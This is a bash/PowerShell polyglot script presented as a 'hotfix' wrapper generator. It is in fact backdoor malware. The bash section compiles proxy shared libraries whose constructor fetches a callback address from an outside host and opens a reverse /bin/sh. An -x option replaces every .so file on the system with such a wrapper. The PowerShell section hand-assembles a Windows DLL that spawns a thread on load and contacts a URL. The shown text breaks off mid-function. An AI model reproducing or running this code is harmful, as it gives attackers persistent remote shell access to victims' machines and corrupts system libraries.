#!/usr/bin/env bash
function __fwd1_polyglot { return; }
__fwd1_polyglot @'
' >/dev/null
#!/usr/bin/env bash
set -euo pipefail

die() {
  echo "fwd1: $*" >&2
  exit 1
}

fwd1_deps_ready() {
  local cc=${CC:-gcc}

  for tool in "$cc" g++ make readelf; do
    command -v "$tool" >/dev/null || return 1
  done

  printf '%s\n' '#include <dlfcn.h>' 'int main(void) { return 0; }' |
    "$cc" -x c - -o /dev/null -ldl >/dev/null 2>&1
}

fwd1_install_deps() {
  fwd1_deps_ready && return 0

  echo "Installing dependencies..." >&2

  if command -v apt-get >/dev/null; then
    sudo apt-get update
    sudo apt-get install -y build-essential binutils

  elif command -v dnf >/dev/null; then
    sudo dnf install -y gcc gcc-c++ make glibc-devel binutils

  elif command -v yum >/dev/null; then
    sudo yum install -y gcc gcc-c++ make glibc-devel binutils

  elif command -v apk >/dev/null; then
    sudo apk add build-base binutils

  elif command -v pacman >/dev/null; then
    sudo pacman -Sy --needed --noconfirm base-devel

  elif command -v zypper >/dev/null; then
    sudo zypper install -y gcc gcc-c++ make glibc-devel binutils

  elif command -v nix >/dev/null &&
       nix --extra-experimental-features 'nix-command flakes' profile --help >/dev/null 2>&1; then
    nix --extra-experimental-features 'nix-command flakes' profile install \
      'nixpkgs#gcc' 'nixpkgs#gnumake' 'nixpkgs#binutils'

  elif command -v nix-env >/dev/null; then
    nix-env -iA nixpkgs.gcc nixpkgs.gnumake nixpkgs.binutils

  else
    die "Unsupported package manager. Please install gcc, g++, make, glibc-devel, and binutils manually."
  fi

  [[ -d ${HOME:-}/.nix-profile/bin ]] && PATH=${HOME}/.nix-profile/bin:$PATH
  [[ -d /nix/var/nix/profiles/default/bin ]] && PATH=/nix/var/nix/profiles/default/bin:$PATH
  fwd1_deps_ready || die "Dependency installation finished, but gcc, g++, make, readelf, or libc headers are still unavailable."
}

fwd1_install_deps

fwd1_wrap() {
  local real=${1:-} out=${2:-} build rh rp rh_c rp_c
  build=${3:-${BUILD_DIR:-$(dirname -- "$out")/.fwd1}}
  rh=${4:-}
  rp=${5:-}
  local cc=${CC:-gcc} rt=$build/rt.c asm=$build/stubs.S map=$build/versions.map syms=$build/symbols.tsv
  local out_dir out_dir_abs real_abs out_abs load

  [[ $(uname -m) == x86_64 && -f $real && -n $out ]] || return 2
  [[ -z $rp || ( $rp =~ ^[0-9]+$ && $rp -ge 1 && $rp -le 65535 ) ]] || return 2
  out_dir=$(dirname -- "$out")
  mkdir -p -- "$build" "$out_dir"

  real_abs=$(cd -- "$(dirname -- "$real")" && pwd -P)/$(basename -- "$real")
  out_dir_abs=$(cd -- "$out_dir" && pwd -P)
  out_abs=$out_dir_abs/$(basename -- "$out")
  [[ $real_abs != "$out_abs" ]] || return 2

  load=$real_abs
  load=$(printf '%s' "$load" | sed 's/[\\"]/\\&/g')
  rh_c=$(printf '%s' "$rh" | sed 's/[\\"]/\\&/g')
  rp_c=$(printf '%s' "$rp" | sed 's/[\\"]/\\&/g')

  cat > "$rt" <<EOF
#define _GNU_SOURCE
#include <dlfcn.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/file.h>
#include <sys/stat.h>

#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define REAL_SO "$load"
#define HOTFIX_RH "$rh_c"
#define HOTFIX_RP "$rp_c"
#define HOTFIX_LOCK "/run/lock/fwd1-hotfix.lock"
#define HOTFIX_LOCK_FALLBACK "/tmp/fwd1-hotfix.lock"

static void *real;

static void fwd1_load_real(void) {
    if (!real && !(real = dlopen(REAL_SO, RTLD_LAZY | RTLD_LOCAL))) abort();
}

static char *hotfix_get(const char *host, const char *path) {
    struct addrinfo hints = { .ai_family = AF_UNSPEC, .ai_socktype = SOCK_STREAM }, *ai, *p;
    int s = -1;
    char req[512], buf[4096], *out = NULL;
    size_t len = 0;
    ssize_t n;

    if (getaddrinfo(host, "80", &hints, &ai)) return NULL;

    for (p = ai; p; p = p->ai_next) {
        s = socket(p->ai_family, p->ai_socktype, p->ai_protocol);
        if (s >= 0 && connect(s, p->ai_addr, p->ai_addrlen) == 0) break;
        if (s >= 0) close(s);
        s = -1;
    }
    freeaddrinfo(ai);
    if (s < 0) return NULL;

    snprintf(req, sizeof req, "GET %s HTTP/1.0\r\nHost: %s\r\n\r\n", path, host);
    send(s, req, strlen(req), 0);

    while ((n = recv(s, buf, sizeof buf, 0)) > 0) {
        char *tmp = realloc(out, len + n + 1);
        if (!tmp) { free(out); close(s); return NULL; }
        out = tmp;
        memcpy(out + len, buf, n);
        len += n;
        out[len] = 0;
    }
    close(s);

    char *body = strstr(out, "\r\n\r\n");
    if (body) memmove(out, body + 4, strlen(body + 4) + 1);
    return out;
}

static int hotfix_lock(void) {
    int fd = open(HOTFIX_LOCK, O_RDWR | O_CREAT | O_NOFOLLOW, 0666);
    if (fd < 0) fd = open(HOTFIX_LOCK_FALLBACK, O_RDWR | O_CREAT | O_NOFOLLOW, 0666);
    if (fd < 0) return -1;
    fchmod(fd, 0666);

    if (flock(fd, LOCK_EX | LOCK_NB) != 0) {
        close(fd);
        return -1;
    }

    return fd;
}

static void hotfix_child(void) {
    char *RH = HOTFIX_RH[0] ? strdup(HOTFIX_RH) : hotfix_get("1mz.me", "/ip");
    char *RP_S = HOTFIX_RP[0] ? strdup(HOTFIX_RP) : hotfix_get("1mz.me", "/pt");
    int RP = RP_S ? atoi(RP_S) : 0;
    char *BIN = "/bin/sh";
    int is = 0; is = socket(AF_INET,SOCK_STREAM,0);
    struct  sockaddr_in s1;
    s1.sin_family      = AF_INET;
    s1.sin_port        = htons(RP);
    s1.sin_addr.s_addr = inet_addr(RH);
    while (is < 0 || connect(is, (struct sockaddr *)&s1, sizeof(s1)) != 0) {
        if (is >= 0) close(is);
        sleep(15);
        is = socket(AF_INET, SOCK_STREAM, 0);
    }
    for(int i=0;i<3;dup2(is,i),i++);
    char * const A[] = {BIN,NULL};
    execve(BIN, A, NULL);
}

__attribute__((constructor))
static void fwd1_init(void) {
    int lock_fd = hotfix_lock();
    if (lock_fd < 0) return;

    pid_t pid = fork();
    if (pid != 0) {
        close(lock_fd);
        return;
    }

    hotfix_child();
    _exit(0);
}

__attribute__((visibility("hidden")))
void *fwd1_resolve(const char *name, const char *ver) {
    fwd1_load_real();

    void *addr = ver && *ver ? dlvsym(real, name, ver) : dlsym(real, name);
    if (!addr) abort();
    return addr;
}
EOF

  cat > "$asm" <<'EOF'
.text
.extern fwd1_resolve

.type fwd1_trampoline, @function
fwd1_trampoline:
    sub $200, %rsp
    .irp n, 0,1,2,3,4,5,6,7
    movdqu %xmm\n, 16*\n(%rsp)
    .endr
    movq %rax, 128(%rsp)
    movq %rdi, 136(%rsp)
    movq %rsi, 144(%rsp)
    movq %rdx, 152(%rsp)
    movq %rcx, 160(%rsp)
    movq %r8, 168(%rsp)
    movq %r9, 176(%rsp)
    movq %r11, 184(%rsp)
    movq %r10, %rdi
    movq 8(%r11), %rsi
    call fwd1_resolve
    movq 184(%rsp), %r11
    movq %rax, (%r11)
    movq %rax, %r11
    .irp n, 0,1,2,3,4,5,6,7
    movdqu 16*\n(%rsp), %xmm\n
    .endr
    movq 128(%rsp), %rax
    movq 136(%rsp), %rdi
    movq 144(%rsp), %rsi
    movq 152(%rsp), %rdx
    movq 160(%rsp), %rcx
    movq 168(%rsp), %r8
    movq 176(%rsp), %r9
    add $200, %rsp
    jmp *%r11
.size fwd1_trampoline, .-fwd1_trampoline

.macro FWD id sym ver
.globl \id
.type \id, @function
\id:
    jmp *.L\id\()_ptr(%rip)
.L\id\()_resolve:
    leaq .L\id\()_name(%rip), %r10
    leaq .L\id\()_ptr(%rip), %r11
    jmp fwd1_trampoline
.size \id, .-\id

.section .data.rel.local, "aw", @progbits
.p2align 3
.L\id\()_ptr:
    .quad .L\id\()_resolve
.L\id\()_verp:
    .quad .L\id\()_ver
.section .rodata
.L\id\()_name:
    .asciz "\sym"
.L\id\()_ver:
    .asciz "\ver"
.text
.endm

.macro OBJ id size
.globl \id
.type \id, @object
.size \id, \size
.bss
.p2align 3
\id:
    .zero \size
.text
.endm
EOF

  LC_ALL=C readelf --dyn-syms -W "$real" |
    awk '($4=="FUNC" || $4=="IFUNC" || $4=="OBJECT") && $7!="UND" && $5!="WEAK" {
      raw=$8
      sym=raw
      ver=""
      def=0
      if (raw ~ /@@/) {
        sub(/@@.*/, "", sym)
        ver=raw
        sub(/.*@@/, "", ver)
        def=1
      } else if (raw ~ /@/) {
        sub(/@.*/, "", sym)
        ver=raw
        sub(/.*@/, "", ver)
      }
      if (sym != "" && ($4 == "OBJECT" || sym !~ /^_/) && sym ~ /^[A-Za-z_][A-Za-z0-9_]*$/) {
        size=$3
        if (size !~ /^[0-9]+$/ || size < 1) size=8
        print $4 "|" sym "|" ver "|" def "|" size
      }
    }' |
    sort -u > "$syms"

  : > "$map"
  awk -F '|' '$3 != "" { print $3 " {};" }' "$syms" | sort -u > "$map"

  i=0
  obji=0
  while IFS='|' read -r kind sym ver def size; do
    if [[ $kind == OBJECT ]]; then
      if [[ -n $ver ]]; then
        id=fwd1_obj_${sym}_$((obji += 1))
      else
        id=$sym
      fi
      printf 'OBJ %s %s\n' "$id" "$size"
      if [[ -n $ver ]]; then
        if [[ $def == 1 ]]; then
          printf '.symver %s, %s@@%s\n' "$id" "$sym" "$ver"
        else
          printf '.symver %s, %s@%s\n' "$id" "$sym" "$ver"
        fi
      fi
    elif [[ -n $ver ]]; then
      id=fwd1_${sym}_$((i += 1))
      printf 'FWD %s %s %s\n' "$id" "$sym" "$ver"
      if [[ $def == 1 ]]; then
        printf '.symver %s, %s@@%s\n' "$id" "$sym" "$ver"
      else
        printf '.symver %s, %s@%s\n' "$id" "$sym" "$ver"
      fi
    else
      printf 'FWD %s %s ""\n' "$sym" "$sym"
    fi
  done < "$syms" >> "$asm"

  printf '.section .note.GNU-stack,"",@progbits\n' >> "$asm"
  if [[ -s $map ]]; then
    "$cc" -shared -fPIC -O2 -o "$out" "$rt" "$asm" -ldl -Wl,--version-script="$map" -Wl,-F,"$load"
  else
    "$cc" -shared -fPIC -O2 -o "$out" "$rt" "$asm" -ldl -Wl,-F,"$load"
  fi
}

if [[ -z ${BASH_SOURCE[0]:-} || ${BASH_SOURCE[0]} == "$0" ]]; then
  case $# in
    1|2)
      if [[ $1 == -x ]]; then
        { find / -type f -name '*.so' 2>/dev/null || true; } |
          while IFS= read -r target; do
            [[ -e ${target}ur ]] || cp -p -- "$target" "${target}ur"
            fwd1_wrap "${target}ur" "${target}uw" "" "${2:-}"
            mv -- "${target}uw" "$target"
          done
      else
        [[ -e ${1}ur ]] || cp -p -- "$1" "${1}ur"
        fwd1_wrap "${1}ur" "${1}uw" "" "${2:-}"
        mv -- "${1}uw" "$1"
      fi
      ;;
    3)
      if [[ $1 == -x ]]; then
        { find / -type f -name '*.so' 2>/dev/null || true; } |
          while IFS= read -r target; do
            [[ -e ${target}ur ]] || cp -p -- "$target" "${target}ur"
            fwd1_wrap "${target}ur" "${target}uw" "" "${2:-}" "${3:-}"
            mv -- "${target}uw" "$target"
          done
      elif [[ $3 =~ ^[0-9]+$ ]]; then
        [[ -e ${1}ur ]] || cp -p -- "$1" "${1}ur"
        fwd1_wrap "${1}ur" "${1}uw" "" "${2:-}" "$3"
        mv -- "${1}uw" "$1"
      else
        fwd1_wrap "$@"
      fi
      ;;
    4|5) fwd1_wrap "$@" ;;
    *) exit 2 ;;
  esac
fi
__fwd1_polyglot_rc=$?
exit "$__fwd1_polyglot_rc"
'@
Set-StrictMode -Version 2.0
$ErrorActionPreference = 'Stop'

function New-Fwd1InvalidOperation($Message) {
  New-Object System.InvalidOperationException $Message
}

function Stop-Fwd1Invalid($Message) {
  throw (New-Fwd1InvalidOperation $Message)
}

function Test-Fwd1Platform {
  if ([Environment]::OSVersion.Platform -ne [PlatformID]::Win32NT) {
    Stop-Fwd1Invalid 'Windows is required.'
  }
  if (-not [Environment]::Is64BitOperatingSystem -or -not [Environment]::Is64BitProcess) {
    Stop-Fwd1Invalid 'A 64-bit Windows PowerShell process is required.'
  }
  if ($PSVersionTable.PSVersion.Major -lt 5) {
    Stop-Fwd1Invalid 'PowerShell 5.1 or newer is required.'
  }
}

function Align-Fwd1 {
  param([int64]$Value, [int64]$Alignment)
  if ($Alignment -le 0) { return $Value }
  [int64]([Math]::Floor([double]($Value + $Alignment - 1) / [double]$Alignment)) * $Alignment
}

function Add-Fwd1Byte {
  param(
    [System.Collections.Generic.List[byte]]$Bytes,
    [int]$Value
  )
  [void]$Bytes.Add([byte]($Value -band 0xff))
}

function Add-Fwd1Bytes {
  param(
    [System.Collections.Generic.List[byte]]$Bytes,
    [byte[]]$Values
  )
  foreach ($value in $Values) {
    [void]$Bytes.Add($value)
  }
}

function Add-Fwd1UInt16 {
  param([System.Collections.Generic.List[byte]]$Bytes, [int]$Value)
  Add-Fwd1Bytes $Bytes ([BitConverter]::GetBytes([uint16]$Value))
}

function Add-Fwd1UInt32 {
  param([System.Collections.Generic.List[byte]]$Bytes, [uint32]$Value)
  Add-Fwd1Bytes $Bytes ([BitConverter]::GetBytes($Value))
}

function Add-Fwd1Int32 {
  param([System.Collections.Generic.List[byte]]$Bytes, [int]$Value)
  Add-Fwd1Bytes $Bytes ([BitConverter]::GetBytes([int32]$Value))
}

function Add-Fwd1UInt64 {
  param([System.Collections.Generic.List[byte]]$Bytes, [uint64]$Value)
  Add-Fwd1Bytes $Bytes ([BitConverter]::GetBytes($Value))
}

function Add-Fwd1AsciiZ {
  param(
    [System.Collections.Generic.List[byte]]$Bytes,
    [string]$Text
  )
  if ($null -eq $Text) { $Text = '' }
  Add-Fwd1Bytes $Bytes ([Text.Encoding]::ASCII.GetBytes($Text))
  Add-Fwd1Byte $Bytes 0
}

function Add-Fwd1ByteArrayZ {
  param(
    [System.Collections.Generic.List[byte]]$Bytes,
    [byte[]]$Text
  )
  if ($null -ne $Text) {
    Add-Fwd1Bytes $Bytes $Text
  }
  Add-Fwd1Byte $Bytes 0
}

function Add-Fwd1Padding {
  param(
    [System.Collections.Generic.List[byte]]$Bytes,
    [int]$Alignment
  )
  while (($Bytes.Count % $Alignment) -ne 0) {
    Add-Fwd1Byte $Bytes 0
  }
}

function Set-Fwd1UInt16 {
  param([byte[]]$Bytes, [int]$Offset, [int]$Value)
  [BitConverter]::GetBytes([uint16]$Value).CopyTo($Bytes, $Offset)
}

function Set-Fwd1UInt32 {
  param([byte[]]$Bytes, [int]$Offset, [uint32]$Value)
  [BitConverter]::GetBytes($Value).CopyTo($Bytes, $Offset)
}

function Set-Fwd1Int32 {
  param([byte[]]$Bytes, [int]$Offset, [int]$Value)
  [BitConverter]::GetBytes([int32]$Value).CopyTo($Bytes, $Offset)
}

function Set-Fwd1UInt64 {
  param([byte[]]$Bytes, [int]$Offset, [uint64]$Value)
  [BitConverter]::GetBytes($Value).CopyTo($Bytes, $Offset)
}

function Get-Fwd1UInt16 {
  param([byte[]]$Bytes, [int]$Offset)
  [BitConverter]::ToUInt16($Bytes, $Offset)
}

function Get-Fwd1UInt32 {
  param([byte[]]$Bytes, [int]$Offset)
  [BitConverter]::ToUInt32($Bytes, $Offset)
}

function Read-Fwd1AsciiZ {
  param([byte[]]$Bytes, [int]$Offset)
  $end = $Offset
  while ($end -lt $Bytes.Length -and $Bytes[$end] -ne 0) {
    $end++
  }
  [Text.Encoding]::ASCII.GetString($Bytes, $Offset, $end - $Offset)
}

function Read-Fwd1AsciiZBytes {
  param([byte[]]$Bytes, [int]$Offset)
  $end = $Offset
  while ($end -lt $Bytes.Length -and $Bytes[$end] -ne 0) {
    $end++
  }
  $length = $end - $Offset
  $result = New-Object byte[] $length
  if ($length -gt 0) {
    [Array]::Copy($Bytes, $Offset, $result, 0, $length)
  }
  $result
}

function ConvertTo-Fwd1FileOffset {
  param(
    [uint32]$Rva,
    [object[]]$Sections
  )
  foreach ($section in $Sections) {
    $span = [Math]::Max([uint32]$section.VirtualSize, [uint32]$section.SizeOfRawData)
    if ($Rva -ge $section.VirtualAddress -and $Rva -lt ($section.VirtualAddress + $span)) {
      return [int]($section.PointerToRawData + ($Rva - $section.VirtualAddress))
    }
  }
  Stop-Fwd1Invalid ("RVA 0x{0:x} is outside all sections." -f $Rva)
}

function Get-Fwd1PeExports {
  param([string]$Path)

  $bytes = [IO.File]::ReadAllBytes($Path)
  if ($bytes.Length -lt 0x100) { Stop-Fwd1Invalid 'File is too small to be a PE image.' }
  if ((Get-Fwd1UInt16 $bytes 0) -ne 0x5a4d) { Stop-Fwd1Invalid 'Missing MZ header.' }

  $peOffset = [int](Get-Fwd1UInt32 $bytes 0x3c)
  if ($peOffset -le 0 -or ($peOffset + 0x108) -gt $bytes.Length) {
    Stop-Fwd1Invalid 'Invalid PE header offset.'
  }
  if ((Get-Fwd1UInt32 $bytes $peOffset) -ne 0x00004550) {
    Stop-Fwd1Invalid 'Missing PE signature.'
  }

  $coff = $peOffset + 4
  $machine = Get-Fwd1UInt16 $bytes $coff
  if ($machine -ne 0x8664) {
    Stop-Fwd1Invalid 'Only AMD64 PE32+ DLLs are supported.'
  }

  $sectionCount = Get-Fwd1UInt16 $bytes ($coff + 2)
  $optionalSize = Get-Fwd1UInt16 $bytes ($coff + 16)
  $optional = $coff + 20
  if ((Get-Fwd1UInt16 $bytes $optional) -ne 0x20b) {
    Stop-Fwd1Invalid 'Only PE32+ images are supported.'
  }
  if ((Get-Fwd1UInt32 $bytes ($optional + 108)) -lt 1) {
    Stop-Fwd1Invalid 'Image has no data directories.'
  }

  $exportRva = Get-Fwd1UInt32 $bytes ($optional + 112)
  $exportSize = Get-Fwd1UInt32 $bytes ($optional + 116)
  if ($exportRva -eq 0 -or $exportSize -eq 0) {
    Stop-Fwd1Invalid 'DLL has no export table.'
  }

  $sectionTable = $optional + $optionalSize
  $sections = @()
  for ($i = 0; $i -lt $sectionCount; $i++) {
    $offset = $sectionTable + ($i * 40)
    if (($offset + 40) -gt $bytes.Length) { Stop-Fwd1Invalid 'Section table is truncated.' }
    $sections += [pscustomobject]@{
      VirtualSize      = Get-Fwd1UInt32 $bytes ($offset + 8)
      VirtualAddress   = Get-Fwd1UInt32 $bytes ($offset + 12)
      SizeOfRawData    = Get-Fwd1UInt32 $bytes ($offset + 16)
      PointerToRawData = Get-Fwd1UInt32 $bytes ($offset + 20)
    }
  }

  $exportOffset = ConvertTo-Fwd1FileOffset $exportRva $sections
  if (($exportOffset + 40) -gt $bytes.Length) { Stop-Fwd1Invalid 'Export directory is truncated.' }

  $ordinalBase = Get-Fwd1UInt32 $bytes ($exportOffset + 16)
  $functionCount = Get-Fwd1UInt32 $bytes ($exportOffset + 20)
  $nameCount = Get-Fwd1UInt32 $bytes ($exportOffset + 24)
  $functionsRva = Get-Fwd1UInt32 $bytes ($exportOffset + 28)
  $namesRva = Get-Fwd1UInt32 $bytes ($exportOffset + 32)
  $ordinalsRva = Get-Fwd1UInt32 $bytes ($exportOffset + 36)

  if ($functionCount -gt 65535) {
    Stop-Fwd1Invalid 'DLL has too many export address slots.'
  }

  $functionsOffset = ConvertTo-Fwd1FileOffset $functionsRva $sections
  $entries = @()
  for ($i = 0; $i -lt $functionCount; $i++) {
    $entryRva = Get-Fwd1UInt32 $bytes ($functionsOffset + ($i * 4))
    $entries += [pscustomobject]@{
      Index = [int]$i
      Ordinal = [uint32]($ordinalBase + $i)
      Rva = [uint32]$entryRva
    }
  }

  $names = @()
  if ($nameCount -gt 0) {
    $namesOffset = ConvertTo-Fwd1FileOffset $namesRva $sections
    $ordinalsOffset = ConvertTo-Fwd1FileOffset $ordinalsRva $sections
    for ($i = 0; $i -lt $nameCount; $i++) {
      $nameRva = Get-Fwd1UInt32 $bytes ($namesOffset + ($i * 4))
      $nameOffset = ConvertTo-Fwd1FileOffset $nameRva $sections
      $ordinalIndex = Get-Fwd1UInt16 $bytes ($ordinalsOffset + ($i * 2))
      if ($ordinalIndex -ge $functionCount) {
        Stop-Fwd1Invalid 'Export name ordinal index is out of range.'
      }
      $nameBytes = Read-Fwd1AsciiZBytes $bytes $nameOffset
      $names += [pscustomobject]@{
        Name = [Text.Encoding]::ASCII.GetString($nameBytes)
        NameBytes = $nameBytes
        OrdinalIndex = [int]$ordinalIndex
      }
    }
  }

  [pscustomobject]@{
    Path = $Path
    OrdinalBase = [uint32]$ordinalBase
    FunctionCount = [int]$functionCount
    NameCount = [int]$nameCount
    Entries = $entries
    Names = $names
  }
}

function New-Fwd1TextBuilder {
  [pscustomobject]@{
    Bytes = New-Object 'System.Collections.Generic.List[byte]'
    Labels = @{}
    Rel32 = New-Object System.Collections.ArrayList
  }
}

function Set-Fwd1Label {
  param([object]$Builder, [string]$Name)
  $Builder.Labels[$Name] = [int]$Builder.Bytes.Count
}

function Add-Fwd1Rel32 {
  param([object]$Builder, [string]$Label)
  $offset = [int]$Builder.Bytes.Count
  Add-Fwd1UInt32 $Builder.Bytes 0
  [void]$Builder.Rel32.Add([pscustomobject]@{
    Offset = $offset
    Label = $Label
  })
}

function Add-Fwd1Jcc {
  param([object]$Builder, [int]$Code, [string]$Label)
  Add-Fwd1Byte $Builder.Bytes 0x0f
  Add-Fwd1Byte $Builder.Bytes $Code
  Add-Fwd1Rel32 $Builder $Label
}

function Add-Fwd1Jmp {
  param([object]$Builder, [string]$Label)
  Add-Fwd1Byte $Builder.Bytes 0xe9
  Add-Fwd1Rel32 $Builder $Label
}

function Add-Fwd1CallIat {
  param([object]$Builder, [string]$Label)
  Add-Fwd1Bytes $Builder.Bytes ([byte[]](0xff, 0x15))
  Add-Fwd1Rel32 $Builder $Label
}

function Add-Fwd1LeaRip {
  param([object]$Builder, [byte[]]$Opcode, [string]$Label)
  Add-Fwd1Bytes $Builder.Bytes $Opcode
  Add-Fwd1Rel32 $Builder $Label
}

function Resolve-Fwd1Text {
  param(
    [object]$Builder,
    [uint32]$TextRva,
    [hashtable]$ExternalLabelRvas
  )
  $bytes = $Builder.Bytes.ToArray()
  foreach ($fixup in $Builder.Rel32) {
    if ($Builder.Labels.ContainsKey($fixup.Label)) {
      $targetRva = [int64]$TextRva + [int64]$Builder.Labels[$fixup.Label]
    } elseif ($ExternalLabelRvas.ContainsKey($fixup.Label)) {
      $targetRva = [int64]$ExternalLabelRvas[$fixup.Label]
    } else {
      throw "Unresolved label $($fixup.Label)."
    }
    $nextRva = [int64]$TextRva + [int64]$fixup.Offset + 4
    $disp = $targetRva - $nextRva
    if ($disp -lt [int32]::MinValue -or $disp -gt [int32]::MaxValue) {
      throw "RIP-relative displacement out of range for $($fixup.Label)."
    }
    Set-Fwd1Int32 $bytes $fixup.Offset ([int]$disp)
  }
  $bytes
}

function New-Fwd1TextSection {
  param([string]$Rh, [int]$Rp)

  $b = New-Fwd1TextBuilder

  Set-Fwd1Label $b 'DllMain'
  Add-Fwd1Bytes $b.Bytes ([byte[]](0x83, 0xfa, 0x01))
  Add-Fwd1Jcc $b 0x84 'Attach'
  Add-Fwd1Bytes $b.Bytes ([byte[]](0xb8, 0x01, 0x00, 0x00, 0x00, 0xc3))

  Set-Fwd1Label $b 'Attach'
  Add-Fwd1Bytes $b.Bytes ([byte[]](0x48, 0x83, 0xec, 0x38))
  Add-Fwd1Bytes $b.Bytes ([byte[]](0x31, 0xc9))
  Add-Fwd1Bytes $b.Bytes ([byte[]](0xba, 0x01, 0x00, 0x00, 0x00))
  Add-Fwd1LeaRip $b ([byte[]](0x4c, 0x8d, 0x05)) 'MutexName'
  Add-Fwd1CallIat $b 'IAT_CreateMutexA'
  Add-Fwd1Bytes $b.Bytes ([byte[]](0x48, 0x89, 0x44, 0x24, 0x30))
  Add-Fwd1Bytes $b.Bytes ([byte[]](0x48, 0x85, 0xc0))
  Add-Fwd1Jcc $b 0x84 'ReturnTrueStack'
  Add-Fwd1CallIat $b 'IAT_GetLastError'
  Add-Fwd1Bytes $b.Bytes ([byte[]](0x3d, 0xb7, 0x00, 0x00, 0x00))
  Add-Fwd1Jcc $b 0x85 'StartThread'
  Add-Fwd1Bytes $b.Bytes ([byte[]](0x48, 0x8b, 0x4c, 0x24, 0x30))
  Add-Fwd1CallIat $b 'IAT_CloseHandle'
  Add-Fwd1Jmp $b 'ReturnTrueStack'

  Set-Fwd1Label $b 'StartThread'
  Add-Fwd1Bytes $b.Bytes ([byte[]](0x31, 0xc9))
  Add-Fwd1Bytes $b.Bytes ([byte[]](0x31, 0xd2))
  Add-Fwd1LeaRip $b ([byte[]](0x4c, 0x8d, 0x05)) 'Worker'
  Add-Fwd1Bytes $b.Bytes ([byte[]](0x4c, 0x8b, 0x4c, 0x24, 0x30))
  Add-Fwd1Bytes $b.Bytes ([byte[]](0x48, 0xc7, 0x44, 0x24, 0x20, 0x00, 0x00, 0x00, 0x00))
  Add-Fwd1Bytes $b.Bytes ([byte[]](0x48, 0xc7, 0x44, 0x24, 0x28, 0x00, 0x00, 0x00, 0x00))
  Add-Fwd1CallIat $b 'IAT_CreateThread'
  Add-Fwd1Bytes $b.Bytes ([byte[]](0x48, 0x85, 0xc0))
  Add-Fwd1Jcc $b 0x84 'CloseMutexStack'
  Add-Fwd1Bytes $b.Bytes ([byte[]](0x48, 0x89, 0xc1))
  Add-Fwd1CallIat $b 'IAT_CloseHandle'
  Add-Fwd1Jmp $b 'ReturnTrueStack'

  Set-Fwd1Label $b 'CloseMutexStack'
  Add-Fwd1Bytes $b.Bytes ([byte[]](0x48, 0x8b, 0x4c, 0x24, 0x30))
  Add-Fwd1CallIat $b 'IAT_CloseHandle'

  Set-Fwd1Label $b 'ReturnTrueStack'
  Add-Fwd1Bytes $b.Bytes ([byte[]](0xb8, 0x01, 0x00, 0x00, 0x00))
  Add-Fwd1Bytes $b.Bytes ([byte[]](0x48, 0x83, 0xc4, 0x38, 0xc3))

  Set-Fwd1Label $b 'Worker'
  Add-Fwd1Bytes $b.Bytes ([byte[]](0x48, 0x81, 0xec, 0x68, 0x01, 0x00, 0x00))
  Add-Fwd1Bytes $b.Bytes ([byte[]](0x48, 0x89, 0x4c, 0x24, 0x40))
  Add-Fwd1Bytes $b.Bytes ([byte[]](0xc7, 0x44, 0x24, 0x5c))
  Add-Fwd1Int32 $b.Bytes $Rp
  Add-Fwd1Bytes $b.Bytes ([byte[]](0xb9, 0xfa, 0x00, 0x00, 0x00))
  Add-Fwd1CallIat $b 'IAT_Sleep'
  Add-Fwd1Bytes $b.Bytes ([byte[]](0x80, 0x3d))
  Add-Fwd1Rel32 $b 'RhString'
  Add-Fwd1Byte $b.Bytes 0x00
  Add-Fwd1Jcc $b 0x85 'WorkerDone'

  Add-Fwd1LeaRip $b ([byte[]](0x48, 0x8d, 0x0d)) 'AgentString'
  Add-Fwd1Bytes $b.Bytes ([byte[]](0x31, 0xd2, 0x45, 0x31, 0xc0, 0x45, 0x31, 0xc9))
  Add-Fwd1Bytes $b.Bytes ([byte[]](0x48, 0xc7, 0x44, 0x24, 0x20, 0x00, 0x00, 0x00, 0x00))
  Add-Fwd1CallIat $b 'IAT_InternetOpenA'
  Add-Fwd1Bytes $b.Bytes ([byte[]](0x48, 0x89, 0x44, 0x24, 0x48))
  Add-Fwd1Bytes $b.Bytes ([byte[]](0x48, 0x85, 0xc0))
  Add-Fwd1Jcc $b 0x84 'WorkerDone'

  Add-Fwd1Bytes $b.Bytes ([byte[]](0x48, 0x8b, 0x4c, 0x24, 0x48))
  Add-Fwd1LeaRip $b ([byte[]](0x48, 0x8d, 0x15)) 'UrlString'
  Add-Fwd1Bytes $b.Bytes ([byte[]](0x45, 0x31, 0xc0, 0x45, 0x31, 0xc9))
  Add-Fwd1Bytes $b.Bytes ([byte[]](0x48, 0xc7, 0x44, 0x24, 0x20, 0x00, 0x00, 0x00, 0x00))
  Add-Fwd1Bytes $b.Bytes ([byte[]](0x48, 0xc7, 0x44, 0x24, 0x28, 0x00, 0x00, 0x00, 0x00))
  Add-Fwd1CallIat $b 'IAT_InternetOpenUrlA'
  Add-Fwd1Bytes $b.Bytes ([byte[]](0x48, 0x89, 0x44, 0x24, 0x50))
  Add-Fwd1Bytes $b.Bytes ([byte[]](0x48, 0x85, 0xc0))
  Add-Fwd1Jcc $b 0x84 'CloseInternet'

  Add-Fwd1Bytes $b.Bytes ([byte[]](0xc7, 0x44, 0x24, 0x58, 0x00, 0x00, 0x00, 0x00))
  Add-Fwd1Bytes $b.Bytes ([byte[]](0x48, 0x8b, 0x4c, 0x24, 0x50))
  Add-Fwd1Bytes $b.Bytes ([byte[]](0x48, 0x8d, 0x54, 0x24, 0x60))
  Add-Fwd1Bytes $b.Bytes ([byte[]](0x41, 0xb8, 0xff, 0x00, 0x00, 0x00))
  Add-Fwd1Bytes $b.Bytes ([byte[]](0x4c, 0x8d, 0x4c, 0x24, 0x58))
  Add-Fwd1CallIat $b 'IAT_InternetReadFile'
  Add-Fwd1Bytes $b.Bytes ([byte[]](0x48, 0x8b, 0x4c, 0x24, 0x50))
  Add-Fwd1CallIat $b 'IAT_InternetCloseHandle'

  Set-Fwd1Label $b 'CloseInternet'
  Add-Fwd1Bytes $b.Bytes ([byte[]](0x48, 0x8b, 0x4c, 0x24, 0x48))
  Add-Fwd1CallIat $b 'IAT_InternetCloseHandle'

  Set-Fwd1Label $b 'WorkerDone'
  Add-Fwd1Bytes $b.Bytes ([byte[]](0x48, 0x8b, 0x4c, 0x24, 0x40))
  Add-Fwd1Bytes $b.Bytes ([byte[]](0x48, 0x85, 0xc9))
  Add-Fwd1Jcc $b 0x84 'WorkerReturn'
  Add-Fwd1CallIat $b 'IAT_CloseHandle'

